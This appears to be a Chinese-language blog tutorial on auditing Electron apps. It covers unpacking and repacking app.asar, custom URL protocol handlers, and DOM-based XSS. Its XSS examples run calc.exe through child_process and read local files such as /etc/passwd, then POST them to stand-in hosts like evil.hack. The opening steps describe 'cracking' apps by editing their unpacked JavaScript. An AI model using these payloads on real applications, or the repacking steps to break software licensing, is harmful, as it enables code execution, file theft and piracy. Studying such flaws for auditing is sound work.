1. 程式人生 > 實用技巧 >electron程式碼審計

electron程式碼審計

解包

Electron跨平臺程式破解https://www.52pojie.cn/thread-563895-1-1.html

Electron封裝的跨平臺程式破解的一般思路:

  • 安裝npm(至於如何安裝,網上教程很多,不贅述)
  • 安裝好npm後執行命令安裝asar:npm install asar -g
  • 以macOS平臺為例,在Prepros.app/Contents/Resources下找到app.asar,其他平臺方法類似
  • 用asar命令解包:asar e app.asar tmp
  • 到步驟4中建立的tmp目錄下找到對應的js檔案hack之。
  • 破解完後重新封裝程式 :asar p tmp/ app.asar,破解完成。

這裡有個大坑就是:

不能把檔案叫取名為tmp,必須是app,資料夾名使用tmp後重新封裝出現40g的情況!

所以正確的方法是

  • 安裝npm(至於如何安裝,網上教程很多,不贅述)

  • 安裝好npm後執行命令安裝asar:npm install asar -g

  • C:\Users\yonghu\AppData\Local\Programs\Knock\resources下找到app.asar

  • 用asar命令解包:asar e app.asar app

  • 到步驟4中建立的app目錄下找到對應的rendderer.js文修改

  • 破解完後重新封裝程式 :asar p app/ app.asar,破解完成。

Electron

在Electron中,執行package.json中的main指令碼的程序被稱為主程序,該程序能訪問Node.js原語,並負責啟動其他程序。Chromium則被用於展示Web網頁,其中每個Web頁面都在獨立的渲染程序中進行渲染。

Electron 的渲染程序是由 Chromium + Node.js 構成, 那麼我們可以從分析傳統 Web 應用的角度,得出這樣的結論:

  • DOM 操作非常多、非常頻繁
  • 基於 DOM 的 XSS 會變得很容易發生
  • 可以完成基於 JavaScript 的自由重定向(重定向至不可信站點)

所以,使用傳統的 Web 應用分析套路來處理 Electron 是十分必要的。

審計

有一個主檔案 如 main.js. 在這裡處理應用的啟動

package.json

我們檢查的第一個目標是package.json,其中包含了所有應用入口點的對應檔案路徑:

{
  "name": "Example App",
  "description": "Core App",
  "main": "./dist/electron/main.js",
  "license": null,
}

如上例子,入口點是位於electron資料夾中名為mian.js的檔案,該檔案將會作為主程序執行。如果沒有特別的指定,main.js*是預設的主檔案。

自定義url協議

electron應用可以註冊自己的url 協議 例如custom://, 使得可以通過瀏覽器直接開啟應用. 這裡對url協議的處理不當可能導致rce等 例子.

註冊url的程式碼例子如下

const protocol = electron.protocol

// handles links `todo2://<something>`
const PROTOCOL_PREFIX = 'todo2'

function createWindow () {
  mainWindow = new BrowserWindow({width: 1000, height: 800})
  // handle url protocol
  protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
    const fullUrl = formFullTodoUrl(req.url)
    devToolsLog('full url to open ' + fullUrl)
    mainWindow.loadURL(fullUrl)
  })
}

domxss

Electron 中的 DOM 操作必須更精細,嚴格轉義是必要的。(渲染程序中可以使用 Node 函式) 基於這個特性,攻擊者可以在此之中插入 Node 函式用於攻擊, 比如,這是一個普通的 XSS 例項:

// xss_source 是攻擊者可以控制的字串
elm.innerHTML = xss_source; // XSS!

攻擊者可以以下面的方式利用:

// 彈計算器
<img src=# onerror="require('child_process').exec('calc.exe',null);">
// 讀取本地檔案併發送
<img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
fetch('http://evil.hack/', { method:'POST', body:s });">
lectron 的架構問題
  • 瀏覽器視窗預設支援載入file://
  • 並沒有與普通瀏覽器一般的位址列
本地檔案資訊竊取

我們發現在預設情況下,Node 語句是可用的。 但是,如果開發者禁用了 Node 語句:

// main.js 節選
win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
win.loadURL(`file://${__dirname}/index.html`);

這種情況下,我們注入的 Node 語句不生效,可造成的威脅降低了。 看起來,在建立 BrowserWindow 的時候禁用 Node 語句是必要的。 但是,如果 Node 語句被禁用,Electron 會變得很雞肋。

如果開發者執意禁止 Node 語句,我們依然不是無計可施的。 以剛剛的 main.js 為例,我們可以通過xhr來做更多的事情。

var xhr = new XMLHttpRequest();
xhr.open("GET", "file://c:/file.txt", true);
xhr.onload = () => {
  fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
};
xhr.send( null );

通過上面的程式碼,我們可以讀取本地檔案並將其傳送出去。 這使得開發者在犧牲 Electron 的實用性禁用 Node 語句後, XSS 依舊十分強大。